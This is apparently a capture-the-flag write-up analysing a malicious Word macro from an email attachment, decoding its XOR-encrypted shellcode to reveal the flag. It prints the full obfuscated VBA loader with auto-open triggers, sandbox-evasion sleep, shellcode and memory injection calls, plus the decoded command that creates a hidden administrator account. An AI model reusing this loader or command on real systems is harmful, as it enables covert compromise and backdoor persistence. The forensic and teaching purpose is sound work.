Intro

In this challenge we are presented with an E-Mail, that contains a malicious attachment. The attached doc file contains a malicious VBA macro. Of course, the code is obfuscated and hard to read. It’s up to us to analyze, reverse engineer and crack the VBA code. The name of the challenge, “ocram”, is actually a hint, as it is “macro” spelled backwards.

Obtaining the attachment

Within the machine that is given to us as part of the challenge, there is a .eml-file. Within this .eml file, there is an attachment. We can see this because it contains strings similar to this:

Content-Type: application/octet-stream; Content-Disposition: attachment; filename="example.docm"

Below these lines, there is a base64 string. Attachments within E-Mails are base64 encoded. We can simply copy that string, echo it, pipe it into base64 and save it to a file:

echo Vz[your b64...]df== | base64 -d > attachment

To determine what kind of file we are dealing with (though we know from the mail that it’s supposed to be a document), we can check the actual file type of this attachment using

file attachment

which presents us with the filetype (by reading the magic bytes) along other info, or we can

xxd attachment | head -n 30

which returns the first few bytes of the file. With the second method, we can check the magic bytes of the file manually.

Analyzing the macro

As a security researcher you should be careful with malicious attachments like these. You should use tools like olevba or oledump to extract any macro from documents. Too keep things simple and since I am working in a VM and this is a CTF challenge, I will use Libre Office Writer to open the document. I navigate to the macro section, find a macro named “NewMacros”. Here is the code:

-- snip --

Sub MyMacro()
Dim buf As Variant
  Dim tmp As LongPtr
  Dim addr As LongPtr
  Dim counter As Long
  Dim data As Long
  Dim res As Long
  Dim dream As Integer
  Dim before As Date
  
  If IsNull(FlsAlloc(tmp)) Then
    Exit Function
  End If
  dream = Int((1500 * Rnd) + 2000)
  before = Now()
  Sleep (dream)

  If DateDiff("s", t, Now()) < dream Then
    Exit Function
  End If

  buf = Array(144, 219, 177, 116, 108, 51, 83, 253, 137, 2, 243, 16, 231, 99, 3, 255, 62, 63, 184, 38, 120, 184, 65, 92, 99, 132, 121, 82, 93, 204, 159, 72, 13, 79, 49, 88, 76, 242, 252, 121, 109, 244, 209, 134, 62, 100, 184, 38, 124, 184, 121, 72, 231, 127, 34, 12, 143, 123, 50, 165, 61, 184, 106, 84, 109, 224, 184, 61, 116, 208, 9, 61, 231, 7, 184, 117, 186, 2, 204, 216, 173, _
252, 62, 117, 171, 11, 211, 1, 154, 48, 78, 140, 87, 78, 23, 1, 136, 107, 184, 44, 72, 50, 224, 18, 231, 63, 120, 255, 52, 47, 50, 167, 231, 55, 184, 117, 188, 186, 119, 80, 72, 104, 104, 21, 53, 105, 98, 139, 140, 108, 108, 46, 231, 33, 216, 249, 49, 89, 50, 249, 233, 129, 51, 116, 108, 99, 91, 69, 231, 92, 180, 139, 185, 136, 211, 105, 70, 57, 91, 210, 249, _
142, 174, 139, 185, 15, 53, 8, 102, 179, 200, 148, 25, 54, 136, 51, 127, 65, 92, 30, 108, 96, 204, 161, 2, 86, 71, 84, 25, 64, 86, 6, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 58, 118, 91, 58, 9, 3, 101, 70, 33, 100, 75, 18, 56, 102, 113, 48, 15, 89, 113, 77, 76, 28, 82, 16, 8, 19, 28, 45, 76, 21, 19, 26, 9, _
71, 19, 24, 3, 80, 82, 24, 11, 65, 92, 1, 28, 19, 82, 16, 1, 90, 93, 29, 31, 71, 65, 21, 24, 92, 65, 7, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 67, 82, 87, 16, 108)

  For i = 0 To UBound(buf)
    buf(i) = buf(i) Xor Asc("l33t")
  Next i

  addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

  For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
  Next counter
  res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

The buf variable sticks out. Chances are that this is shellcode in hexadecimal representation. Below the variable there is code that will do an XOR operation to the bytes using the string “l33t”.

We can take these bytes and write our own python script, to do the XOR decryption ourselves:

buf = [144, 219, 177, 116, 108, 51, 83, 253, 137, 2, 243, 16, 231, 99, 3, 255, 62, 63, 184, 38, 120, 184, 65, 92, 99, 132,
       121, 82, 93, 204, 159, 72, 13, 79, 49, 88, 76, 242, 252, 121, 109, 244, 209, 134, 62, 100, 184, 38, 124, 184, 121,
       72, 231, 127, 34, 12, 143, 123, 50, 165, 61, 184, 106, 84, 109, 224, 184, 61, 116, 208, 9, 61, 231, 7, 184, 117,
       186, 2, 204, 216, 173, 252, 62, 117, 171, 11, 211, 1, 154, 48, 78, 140, 87, 78, 23, 1, 136, 107, 184, 44, 72, 50,
       224, 18, 231, 63, 120, 255, 52, 47, 50, 167, 231, 55, 184, 117, 188, 186, 119, 80, 72, 104, 104, 21, 53, 105, 98,
       139, 140, 108, 108, 46, 231, 33, 216, 249, 49, 89, 50, 249, 233, 129, 51, 116, 108, 99, 91, 69, 231, 92, 180, 139,
       185, 136, 211, 105, 70, 57, 91, 210, 249, 142, 174, 139, 185, 15, 53, 8, 102, 179, 200, 148, 25, 54, 136, 51, 127,
       65, 92, 30, 108, 96, 204, 161, 2, 86, 71, 84, 25, 64, 86, 6, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92,
       65, 84, 58, 118, 91, 58, 9, 3, 101, 70, 33, 100, 75, 18, 56, 102, 113, 48, 15, 89, 113, 77, 76, 28, 82, 16, 8, 19,
       28, 45, 76, 21, 19, 26, 9, 71, 19, 24, 3, 80, 82, 24, 11, 65, 92, 1, 28, 19, 82, 16, 1, 90, 93, 29, 31, 71, 65, 21,
       24, 92, 65, 7, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 67, 82, 87, 16, 108]

# Use repeating XOR key "l33t"
key = [ord(c) for c in "l33t"]  # [108, 51, 51, 116]

decoded_bytes = [(b ^ key[i % len(key)]) for i, b in enumerate(buf)]

# Convert to printable string
decoded_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in decoded_bytes)

print(decoded_str)

Note that the XOR key used to decrypt the bytes is reused cyclically. So when XORing a longer buffer, the key wraps around repeatedly.

buf[0] XOR key[0]
buf[1] XOR key[1]
buf[2] XOR key[2]
buf[3] XOR key[3]
buf[4] XOR key[0]  # starts over
buf[5] XOR key[1]
...

When running the script, we get the following output:

......`..1.d.P0.R..R..r(..J&1..<a|., .......RW.R..J<.L.x.H..Q.Y ...I..:I.4...1.......8.u..}.;}$u.X.X$..f..K.X.........D$$[[aYZQ..__Z....]j.......Ph1.o......*.h......<.|....u..G.roj.S..net user administrrator VEhNe0V2MWxfTUBDcjB9 /add /Y & net localgroup administrators administrrator /add.

That command is designed to create a new Windows user account and immediately add it to the Administrators group, granting it elevated privileges. In this case, it is used to silently create a backdoor admin account.

Let’s break it down:

net user administrrator VEhNe0V2MWxfTUBDcjB9 /add /Y
  • net user is used to manage local user accounts
  • administrrator is the username being created (note: intentional misspelling of “administrator” as an attempt to impersonate the builtin administrator account)
  • VEhNe0V2MWxfTUBDcjB9 is the password assigned to the account
  • /add tells Windows to create this new account
  • /Y is typically used to auto-confirm prompts (though not strictly necessary in this context)

When we take a look at the password, we notice that it looks like a base64 string. When we try to decode the string, we get the flag.

┌──(kali㉿kali)-[~/ctf/industrial-intrusion/forensics1]
└─$ echo "VEhNe0V2MWxfTUBDcjB9" | base64 -d

THM{Ev1l_M@Cr0}  

Hint: When you stumble upon a string and don’t know if it might be encoded or encrypted, you can try to load up CyberChef with the “Magic” recipe. It will automatically detect human readable text based on entropy and suggest how to decode / decrypt the string: